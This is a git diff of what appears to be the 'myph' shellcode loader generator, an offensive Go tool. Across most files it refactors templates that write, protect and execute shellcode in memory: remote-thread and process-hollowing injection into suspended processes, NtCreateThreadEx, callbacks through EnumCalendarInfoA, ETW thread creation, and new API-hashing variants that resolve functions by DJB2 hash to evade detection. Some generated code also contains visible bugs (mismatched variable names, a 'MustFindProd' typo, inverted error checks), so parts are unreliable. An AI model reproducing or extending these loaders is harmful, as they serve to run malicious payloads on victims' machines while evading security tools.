@@ -2,68 +2,21 @@ package loaders
import (
"fmt"
+ "strings"
)
-func GetCRTxTemplate(targetProcess string) string {
- return fmt.Sprintf(`
-package main
-
-import (
- "syscall"
- "unsafe"
-)
-
-
-const (
- MEM_COMMIT = 0x1000
- MEM_RESERVE = 0x2000
- PAGE_READWRITE = 0x4
- PAGE_EXECUTE_READ = 0x20
- PAGE_EXECUTE_READWRITE = 0x40
- CREATE_SUSPENDED = 0x4
- CREATE_NO_WINDOW = 0x8000000
-)
-
-var (
- kernel32 = syscall.MustLoadDLL("kernel32.dll")
-
- VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
- VirtualProtectEx = kernel32.MustFindProc("VirtualProtectEx")
- WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
- CreateRemoteThreadEx = kernel32.MustFindProc("CreateRemoteThreadEx")
-)
-
-func loadProcess(target string) *syscall.ProcessInformation {
- var si syscall.StartupInfo
- var pi syscall.ProcessInformation
-
- commandLine, err := syscall.UTF16PtrFromString(target)
- if err != nil {
- panic(err)
- }
-
- err = syscall.CreateProcess(
- nil,
- commandLine,
- nil,
- nil,
- false,
- CREATE_SUSPENDED | CREATE_NO_WINDOW,
- nil,
- nil,
- &si,
- &pi,
- ); if err != nil {
- panic(err)
- }
-
- return &pi
+type CRTxTemplate struct {
+ CRTTemplate
}
-func ExecuteOrderSixtySix(shellcode []byte){
+func (t CRTxTemplate) Const() string {
+ return strings.Replace(t.CRTTemplate.Const(), "CreateRemoteThread", "CreateRemoteThreadEx", 1)
+}
- /* spawn target process */
- process := loadProcess("%s")
+func (t CRTxTemplate) Process() string {
+ return fmt.Sprintf(`
+ /* spawn target process */
+ process := loadProcess("__PROCESS__")
oldProtectCfg := PAGE_READWRITE
/* allocating the appropriate amount of memory */
@@ -103,7 +56,29 @@ func ExecuteOrderSixtySix(shellcode []byte){
0,
0,
)
+`)
+}
+
+func (t CRTxTemplate) GetTemplate(targetProcess string) string {
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+__IMPORT__INIT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+
}
+`
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.CRTTemplate.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.CRTTemplate.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
- `, targetProcess)
+ return strings.Replace(template, "__PROCESS__", targetProcess, -1)
}
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -2,25 +2,57 @@ package loaders
import (
"fmt"
+ "strings"
)
-func GetCreateThreadTemplate(targetProcess string) string {
- InformProcessUnused(targetProcess)
+type CreateTTemplate struct {
+ UseApiHashing bool
+ HashMethod string
+}
- return fmt.Sprintf(`
-package main
+func (t CreateTTemplate) Import() string {
+ if t.UseApiHashing {
+ return fmt.Sprintf(`
+import (
+ "fmt"
+ "log"
+ "os"
+ "syscall"
+ "unsafe"
+ "github.com/Binject/debug/pe"
+ loader "github.com/cmepw/myph/internals"
+)
+ `)
+ }
+
+ return fmt.Sprintf(`
import (
"syscall"
"unsafe"
)
+`)
+}
+func (t CreateTTemplate) Const() string {
+ return fmt.Sprintf(`
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
+
+`)
+}
+
+func (t CreateTTemplate) Init() string {
+
+ if t.UseApiHashing {
+ return fmt.Sprintf("\n")
+ }
+
+ return fmt.Sprintf(`
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
@@ -31,9 +63,92 @@ var (
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
+ `)
+}
-func ExecuteOrderSixtySix(shellcode []byte) {
+func (t CreateTTemplate) Process() string {
+ if t.UseApiHashing {
+
+ return fmt.Sprintf(`
+ ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil {
+ fmt.Println(err.Error())
+ os.Exit(1)
+ }
+ defer ntdll.Close()
+
+
+ kernel32, err := pe.Open("C:\\Windows\\System32\\kernel32.dll"); if err != nil {
+ fmt.Println(err.Error())
+ os.Exit(1)
+ }
+ defer kernel32.Close()
+
+
+ var addr uintptr
+ regionsize := uintptr(len(shellcode))
+ VirtualAlloc, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", kernel32)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ addr = loader.HashedCall(
+ VirtualAlloc,
+ 0,
+ regionSize,
+ MEM_COMMIT|MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ )
+
+ if addr == 0 {
+ log.Fatal("Error: null return value")
+ }
+
+ RtlCopyMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7a4c2ed807c8fcf1", ntdll)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ rvalue := loader.HashedCall(
+ RtlCopyMemory,
+ addr,
+ (uintptr)(unsafe.Pointer(&shellcode[0])),
+ regionsize,
+ ); if addr != 0 {
+ log.Fatal("Error: invalid return value")
+ }
+ CreateThread, err := loader.LoadFunctionFromHash(loader.HashDJB2, "65dd5ebc0ad0132a", kernel32)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ threadAddr := loader.HashedCall(
+ CreateThread,
+ 0,
+ 0,
+ addr,
+ 0,
+ 0,
+ 0,
+ )
+
+ WaitForSingleObject, err := loader.LoadFunctionFromHash(loader.HashDJB2, "aabf4c35522cfc3e", kernel32)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+
+ loader.HashedCall(
+ WaitForSingleObject,
+ threadAddr,
+ 0xFFFFFFFF,
+ )
+
+ `)
+
+ }
+
+ return fmt.Sprintf(`
addr, _, _ := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
@@ -59,6 +174,31 @@ func ExecuteOrderSixtySix(shellcode []byte) {
threadAddr,
0xFFFFFFFF,
)
+`)
}
- `)
+
+func (t CreateTTemplate) GetTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__INIT__
+
+__IMPORT__PROCESS__
+
+}
+ `
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+ return strings.Replace(template, "__PROCESS__", targetProcess, -1)
}
diff --git a/loaders/enumCalendarInfoA.go b/loaders/enumCalendarInfoA.go
@@ -0,0 +1,92 @@
+package loaders
+
+import (
+ "fmt"
+ "strings"
+)
+
+type EnumCalendarTemplate struct {
+}
+
+func (t EnumCalendarTemplate) Import() string {
+ return fmt.Sprintf(`
+import (
+ "syscall"
+ "unsafe"
+)
+`)
+}
+
+func (t EnumCalendarTemplate) Const() string {
+ return fmt.Sprintf(`
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+ ntdll = syscall.MustLoadDLL("ntdll.dll")
+
+ VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
+ EnumCalendarInfoA = kernel32.MustFindProc("EnumCalendarInfoA")
+ RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+
+ LOCALE_USER_DEFAULT = 0x0400
+ ENUM_ALL_CALENDARS = 0xFFFFFFFF
+ CAL_SMONTHNAME1 = 0x00000015
+)
+`)
+}
+
+func (t EnumCalendarTemplate) Init() string {
+ return ""
+}
+
+func (t EnumCalendarTemplate) Process() string {
+ return fmt.Sprintf(`
+ addr, _, _ := VirtualAlloc.Call(
+ 0,
+ uintptr(len(shellcode)),
+ MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
+ )
+
+ _, _, _ = RtlCopyMemory.Call(
+ addr,
+ (uintptr)(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ )
+
+ _, _, _ = EnumCalendarInfoA.Call(
+ addr,
+ (uintptr)(LOCALE_USER_DEFAULT),
+ (uintptr)(ENUM_ALL_CALENDARS),
+ (uintptr)(CAL_SMONTHNAME1),
+ )
+`)
+}
+
+func (t EnumCalendarTemplate) GetTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+
+}
+`
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+ return template
+}
diff --git a/loaders/enumcalendarinfoa.go b/loaders/enumcalendarinfoa.go
@@ -1,59 +0,0 @@
-package loaders
-
-import (
- "fmt"
-)
-
-func GetEnumCalendarInfoATemplate(targetProcess string) string {
- InformProcessUnused(targetProcess)
-
- return fmt.Sprintf(`
-package main
-
-import (
- "syscall"
- "unsafe"
-)
-
-const (
- MEM_COMMIT = 0x1000
- MEM_RESERVE = 0x2000
- PAGE_EXECUTE_READWRITE = 0x40
-)
-
-var (
- kernel32 = syscall.MustLoadDLL("kernel32.dll")
- ntdll = syscall.MustLoadDLL("ntdll.dll")
-
- VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
- EnumCalendarInfoA = kernel32.MustFindProc("EnumCalendarInfoA")
- RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
-
- LOCALE_USER_DEFAULT = 0x0400
- ENUM_ALL_CALENDARS = 0xFFFFFFFF
- CAL_SMONTHNAME1 = 0x00000015
-)
-
-func ExecuteOrderSixtySix(shellcode []byte) {
-
- addr, _, _ := VirtualAlloc.Call(
- 0,
- uintptr(len(shellcode)),
- MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
- )
-
- _, _, _ = RtlCopyMemory.Call(
- addr,
- (uintptr)(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)),
- )
-
- _, _, _ = EnumCalendarInfoA.Call(
- addr,
- (uintptr)(LOCALE_USER_DEFAULT),
- (uintptr)(ENUM_ALL_CALENDARS),
- (uintptr)(CAL_SMONTHNAME1),
- )
-}
- `)
-}
diff --git a/loaders/etwpCreateEtwThread.go b/loaders/etwpCreateEtwThread.go
@@ -2,20 +2,22 @@ package loaders
import (
"fmt"
+ "strings"
)
-func GetEtwpCreateEtwThreadTemplate(targetProcess string) string {
- InformProcessUnused(targetProcess)
+type ETWPTemplate struct{}
+func (t ETWPTemplate) Import() string {
return fmt.Sprintf(`
-package main
-
import (
"syscall"
"unsafe"
)
+`)
+}
-
+func (t ETWPTemplate) Const() string {
+ return fmt.Sprintf(`
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
@@ -37,10 +39,16 @@ var (
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
)
+`)
+}
+func (t ETWPTemplate) Init() string {
+ return ""
+}
-func ExecuteOrderSixtySix(shellcode []byte) {
- /* allocating the appropriate amount of memory */
+func (t ETWPTemplate) Process() string {
+ return fmt.Sprintf(`
+/* allocating the appropriate amount of memory */
baseAddr, _, err := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
@@ -68,6 +76,30 @@ func ExecuteOrderSixtySix(shellcode []byte) {
threadId, _, err := EtwpCreateEtwThread.Call(baseAddr, uintptr(0))
WaitForSingleObject.Call(threadId, 0xFFFFFFFF)
-}
`)
}
+
+func (t ETWPTemplate) GetTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+
+}
+`
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+ return template
+
+}
diff --git a/loaders/ntCreateThreadEx.go b/loaders/ntCreateThreadEx.go
@@ -0,0 +1,253 @@
+package loaders
+
+import (
+ "fmt"
+ "strings"
+)
+
+type NtCreateThreadExTemplate struct {
+ UseApiHashing bool
+ HashMethod string
+}
+
+func (t NtCreateThreadExTemplate) Import() string {
+ if t.UseApiHashing {
+ return fmt.Sprintf(`
+import (
+ "fmt"
+ "log"
+ "os"
+ "syscall"
+ "unsafe"
+
+ "github.com/Binject/debug/pe"
+ loader "github.com/cmepw/myph/internals"
+)
+ `)
+
+ }
+
+ return fmt.Sprintf(`
+import (
+ "syscall"
+ "unsafe"
+)
+`)
+}
+
+func (t NtCreateThreadExTemplate) Const() string {
+ // same consts with or without API Hashing
+
+ return fmt.Sprintf(`
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_EXECUTE_READ = 0x20
+ PAGE_READWRITE = 0x04
+)
+`)
+}
+
+func (t NtCreateThreadExTemplate) Init() string {
+
+ if t.UseApiHashing {
+ return fmt.Sprintf("\n")
+ }
+
+ return fmt.Sprintf(`
+ ntdll := syscall.MustLoadDLL("ntdll.dll")
+
+ NtAllocateVirtualMemory = ntdll.MustFindProd("NtAllocateVirtualMemory")
+ NtWriteVirtualMemory = ntdll.MustFindProd("NtWriteVirtualMemory")
+ NtProtectVirtualMemory = ntdll.MustFindProd("NtProtectVirtualMemory")
+ NtCreateThreadEx = ntdll.MustFindProd("NtCreateThreadEx")
+`)
+}
+
+func (t NtCreateThreadExTemplate) Process() string {
+ if t.UseApiHashing {
+ return fmt.Sprintf(`
+ ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil {
+ fmt.Println(err.Error())
+ os.Exit(1)
+ }
+ defer ntdll.Close()
+
+ var addr uintptr
+ regionsize := uintptr(len(shellcode))
+
+ NtAllocateVirtualMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", ntdll)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ rvalue := loader.HashedCall(
+ NtAllocateVirtualMemory,
+ uintptr(0xffffffffffffffff),
+ uintptr(unsafe.Pointer(&addr)),
+ 0,
+ uintptr(unsafe.Pointer(®ionsize)),
+ MEM_COMMIT|MEM_RESERVE,
+ PAGE_READWRITE,
+ )
+
+ if rvalue != 0 {
+ fmt.Printf("Return value: %%x\n", rvalue)
+ log.Fatal("Error: non-zero return value")
+ }
+
+ NtWriteVirtualMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "9ca2ab4726e0ba31", ntdll)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ rvalue = loader.HashedCall(
+ NtWriteVirtualMemory,
+ uintptr(0xffffffffffffffff),
+ addr,
+ uintptr(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ 0,
+ )
+
+ if rvalue != 0 {
+ fmt.Printf("Return value: %%x\n", rvalue)
+ log.Fatal("Error: non-zero return value")
+ }
+
+ var oldProtect uintptr
+ NtProtectVirtualMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "a9a7b2ecdd745a31", ntdll)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ rvalue = loader.HashedCall(
+ NtProtectVirtualMemory,
+ uintptr(0xffffffffffffffff),
+ uintptr(unsafe.Pointer(&addr)),
+ uintptr(unsafe.Pointer(®ionsize)),
+ syscall.PAGE_EXECUTE_READ,
+ uintptr(unsafe.Pointer(&oldProtect)),
+ )
+
+
+ if rvalue != 0 {
+ fmt.Printf("Return value: %%x\n", rvalue)
+ log.Fatal("Error: non-zero return value")
+ }
+
+ var hhosthread uintptr
+ NtCreateThreadEx, err := loader.LoadFunctionFromHash(loader.HashDJB2, "76d3925c21b6534a", ntdll)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ rvalue = loader.HashedCall(
+ NtCreateThreadEx,
+ uintptr(unsafe.Pointer(&hhosthread)),
+ 0x1FFFFF,
+ 0,
+ uintptr(0xffffffffffffffff),
+ addr,
+ 0,
+ uintptr(0),
+ 0,
+ 0,
+ 0,
+ 0,
+ )
+
+ syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
+
+ if rvalue != 0 {
+ fmt.Printf("Return value: %%x\n", rvalue)
+ log.Fatal("non-zero return value returned")
+ }
+
+ `)
+ }
+
+ return fmt.Sprintf(`
+
+ var addr uintptr
+ regionsize := uintptr(len(shellcode))
+
+ rvalue, _, _ := NtAllocateVirtualMemory.Call(
+ uintptr(0xffffffffffffffff),
+ uintptr(unsafe.Pointer(&addr)),
+ 0,
+ uintptr(unsafe.Pointer(®ionsize)),
+ MEM_COMMIT|MEM_RESERVE,
+ PAGE_READWRITE,
+ ); if rvalue != 0 {
+ fmt.Printf("Return value: %%x\n", rvalue)
+ log.Fatal("Error: non-zero return value")
+ }
+
+ rvalue, _, _ = NtWriteVirtualMemory.Call(
+ uintptr(0xffffffffffffffff),
+ addr,
+ uintptr(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ 0,
+ ); if rvalue != 0 {
+ fmt.Printf("Return value: %%x\n", rvalue)
+ log.Fatal("Error: non-zero return value")
+ }
+
+ var oldProtect uintptr
+ NtProtectVirtualMemory.Call(
+ uintptr(0xffffffffffffffff),
+ uintptr(unsafe.Pointer(&addr)),
+ uintptr(unsafe.Pointer(®ionsize)),
+ syscall.PAGE_EXECUTE_READ,
+ uintptr(unsafe.Pointer(&oldProtect)),
+ ); if rvalue != 0 {
+ fmt.Printf("Return value: %%x\n", rvalue)
+ log.Fatal("Error: non-zero return value")
+ }
+
+ var hhosthread uintptr
+ NtCreateThreadEx.Call(
+ uintptr(unsafe.Pointer(&hhosthread)),
+ 0x1FFFFF,
+ 0,
+ uintptr(0xffffffffffffffff),
+ addr,
+ 0,
+ uintptr(0),
+ 0,
+ 0,
+ 0,
+ 0,
+ )
+
+ syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
+ `)
+}
+
+func (t NtCreateThreadExTemplate) GetTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__INIT__
+
+__IMPORT__PROCESS__
+
+}
+`
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+ return template
+}
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -2,6 +2,7 @@ package loaders
import (
"fmt"
+ "strings"
)
/*
@@ -12,17 +13,20 @@ import (
https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs
*/
-func GetProcessHollowingTemplate(targetProcess string) string {
- return fmt.Sprintf(`
-package main
+type ProcHollowTemplate struct{}
+func (t ProcHollowTemplate) Import() string {
+ return fmt.Sprintf(`
import (
"encoding/binary"
"syscall"
"unsafe"
)
+`)
+}
-
+func (t ProcHollowTemplate) Const() string {
+ return fmt.Sprintf(`
const (
CREATE_SUSPENDED = 0x00000004
CREATE_NO_WINDOW = 0x08000000
@@ -53,7 +57,24 @@ type PROCESS_BASIC_INFORMATION struct {
UniquePid uintptr
MoreReserved uintptr
}
+`)
+}
+
+func (t ProcHollowTemplate) Init() string {
+ return ""
+}
+
+func (t ProcHollowTemplate) Process() string {
+ return ""
+}
+
+func (t ProcHollowTemplate) GetTemplate(targetProcess string) string {
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+__CONST__STATEMENT__
func createProcess(processName string) *syscall.ProcessInformation {
var si syscall.StartupInfo
@@ -83,7 +104,7 @@ func createProcess(processName string) *syscall.ProcessInformation {
func ExecuteOrderSixtySix(shellcode []byte) {
- processName := "%s"
+ processName := "__PROCESS__"
process := createProcess(processName)
pHandle := uintptr(process.Process)
tHandle := uintptr(process.Thread)
@@ -174,5 +195,8 @@ func ExecuteOrderSixtySix(shellcode []byte) {
panic(err)
}
}
- `, targetProcess)
+ `
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ return strings.Replace(template, "__PROCESS__", targetProcess, -1)
}
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -2,40 +2,171 @@ package loaders
import (
"fmt"
+ "strings"
)
-func GetSyscallTemplate(targetProcess string) string {
- InformProcessUnused(targetProcess)
+type SysTemplate struct {
+ UseApiHashing bool
+ HashMethod string
+}
- return fmt.Sprintf(`
-package main
+func (t SysTemplate) Import() string {
+ if t.UseApiHashing {
+ return fmt.Sprintf(`
+import (
+ "fmt"
+ "log"
+ "os"
+ "syscall"
+ "unsafe"
+
+ "github.com/Binject/debug/pe"
+ loader "github.com/cmepw/myph/internals"
+)
+ `)
+
+ }
+ return fmt.Sprintf(`
import (
"syscall"
"unsafe"
)
+`)
+}
+
+func (t SysTemplate) Const() string {
+ // same consts with or without API Hashing
+ return fmt.Sprintf(`
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READ = 0x20
PAGE_READWRITE = 0x04
)
+`)
+}
-func ExecuteOrderSixtySix(shellcode []byte) {
+func (t SysTemplate) Init() string {
+
+ if t.UseApiHashing {
+ return fmt.Sprintf("\n")
+ }
+ return fmt.Sprintf(`
kernel32 := syscall.MustLoadDLL("kernel32.dll")
ntdll := syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
VirtualProtect := kernel32.MustFindProc("VirtualProtect")
RtlCopyMemory := ntdll.MustFindProc("RtlCopyMemory")
+`)
+}
+
+func (t SysTemplate) Process() string {
+ if t.UseApiHashing {
+ return fmt.Sprintf(`
+
+ ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil {
+ fmt.Println(err.Error())
+ os.Exit(1)
+ }
+ defer ntdll.Close()
+
+
+ kernel32, err := pe.Open("C:\\Windows\\System32\\kernel32.dll"); if err != nil {
+ fmt.Println(err.Error())
+ os.Exit(1)
+ }
+ defer kernel32.Close()
+
+ var addr uintptr
+ regionsize := uintptr(len(shellcode))
+ VirtualAlloc, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", kernel32)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ addr = loader.HashedCall(
+ VirtualAlloc,
+ 0,
+ regionSize,
+ MEM_COMMIT|MEM_RESERVE,
+ PAGE_READWRITE,
+ )
+
+ if addr == 0 {
+ log.Fatal("Error: null return value")
+ }
+
+ RtlCopyMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7a4c2ed807c8fcf1", ntdll)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ rvalue := loader.HashedCall(
+ RtlCopyMemory,
+ addr,
+ (uintptr)(unsafe.Pointer(&shellcode[0])),
+ regionsize,
+ ); if addr != 0 {
+ log.Fatal("Error: invalid return value")
+ }
+
+ oldProtect := PAGE_READWRITE
+ VirtualProtect, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7126a1d34679917e", ntdll)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ rvalue := loader.HashedCall(
+ VirtualProtect,
+ addr,
+ regionsize,
+ PAGE_EXECUTE_READ,
+ uintptr(unsafe.Pointer(&oldProtect)),
+ ); if addr != 0 {
+ log.Fatal("Error: invalid return value")
+ }
+
+ _, _, _ = syscall.SyscallN(addr)
+
+ `)
+ }
+
+ return fmt.Sprintf(`
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := PAGE_READWRITE
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
- _, _, _ = syscall.Syscall(addr, 0, 0, 0, 0)
+ _, _, _ = syscall.SyscallN(addr)
+`)
+}
+
+func (t SysTemplate) GetTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__INIT__
+
+__IMPORT__PROCESS__
+
}
- `)
+`
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+ return template
}
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -1,39 +1,55 @@
package loaders
+func InformExpermimental() {
+ println("[!] The API hashing feature is still in an an experimental stage!!")
+ println("Only a few methods are supported for now:")
+ println("\t-Syscall\n\t-CreateThread\n\t-tNtCreateThreadEx\n")
+}
+
func InformProcessUnused(process string) {
_ = process
- println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
+ println("[!] PLEASE NOTE:\n\tshellcode will not be injected into new process with this method.")
}
-func SelectTemplate(templateName string) func(string) string {
-
- switch templateName {
- case "CRT":
- return GetCRTTemplate
-
- case "CRTx":
- return GetCRTxTemplate
-
- case "CreateThread":
- return GetCreateThreadTemplate
-
- case "ProcessHollowing":
- return GetProcessHollowingTemplate
+func DownloadMyphInternals(path string) error {
- case "Syscall":
- return GetSyscallTemplate
+ println("[!] While internals module is not published, we will manually copy it.")
+ println("Please ensure (temporarily) that you use myph from its root repository.")
- case "EnumCalendarInfoA":
- return GetEnumCalendarInfoATemplate
+ return nil
+}
- case "CreateFiber":
- return GetCreateFiberTemplate
+type Templater interface {
+ Init() string
+ Import() string
+ Const() string
+ Process() string
+ GetTemplate(targetProcess string) string
+}
- case "Etwp":
- return GetEtwpCreateEtwThreadTemplate
+func SelectTemplate(templateName string, useApiHashing bool, apiHashTechnique string) func(string) string {
+
+ // TODO(djnn): finish transitionning methods here
+ var methodes = map[string]Templater{
+ "Syscall": SysTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
+ "CRT": CRTTemplate{},
+ "CRTx": CRTxTemplate{},
+ "CreateThread": CreateTTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
+ "ProcessHollowing": ProcHollowTemplate{},
+ "EnumCalendarInfoA": EnumCalendarTemplate{},
+ "CreateFiber": CreateFiberTemplate{},
+ "Etwp": ETWPTemplate{},
+ "NtCreateThreadEx": NtCreateThreadExTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
+ }
+ if useApiHashing {
+ InformExpermimental()
}
+ template, exist := methodes[templateName]
+ if exist {
+ return template.GetTemplate
+ }
return nil
}
diff --git a/scripts/hash_function.go b/scripts/hash_function.go
@@ -0,0 +1,42 @@
+package main
+
+import (
+ "fmt"
+ "os"
+
+ hash "github.com/cmepw/myph/internals"
+ "github.com/spf13/cobra"
+)
+
+func main() {
+
+ var rootCmd = &cobra.Command{
+ Use: "hash",
+ Short: "hash-command",
+ Long: `Computes the hash for a given function or library name`,
+ Run: func(cmd *cobra.Command, args []string) {
+
+ if len(args) != 1 {
+ fmt.Println("hash-command only accepts one argument")
+ os.Exit(1)
+ }
+
+ toHash := args[0]
+
+ fmt.Printf("\t{\n\t\tName: \"%s\",\n", toHash)
+ fmt.Printf("\t\tSha1: \"%s\",\n", hash.HashSHA1(toHash))
+ fmt.Printf("\t\tSha256: \"%s\",\n", hash.HashSHA256(toHash))
+ fmt.Printf("\t\tSha512: \"%s\",\n", hash.HashSHA512(toHash))
+ fmt.Printf("\t\tDjb2: \"%s\",\n", hash.HashDJB2(toHash))
+
+ fmt.Printf("\t},\n")
+
+ },
+ }
+
+ err := rootCmd.Execute()
+ if err != nil {
+ fmt.Println(err.Error())
+ os.Exit(1)
+ }
+}
diff --git a/tools/utils.go b/tools/utils.go
@@ -6,6 +6,9 @@ import (
"io"
"math/rand"
"os"
+
+ "github.com/Binject/debug/pe"
+ "github.com/cmepw/myph/internals"
)
func MoveFile(sourcePath, destPath string) error {
@@ -132,6 +135,27 @@ go 1.19
return nil
}
+func FindAndExecute(
+ hashing_algorithm func(string) string,
+ functionName string,
+ dllName string,
+) error {
+
+ hashedName := hashing_algorithm(functionName)
+ dll, err := pe.Open(dllName)
+ if err != nil {
+ return err
+ }
+
+ ptr, err := internals.LoadFunctionFromHash(hashing_algorithm, hashedName, dll)
+ if err != nil {
+ return err
+ }
+
+ fmt.Print(ptr)
+ return nil
+}
+
func GetMainTemplate(
encoding string,
key string,
diff --git a/utils/utils b/utils/utils
Binary files differ.
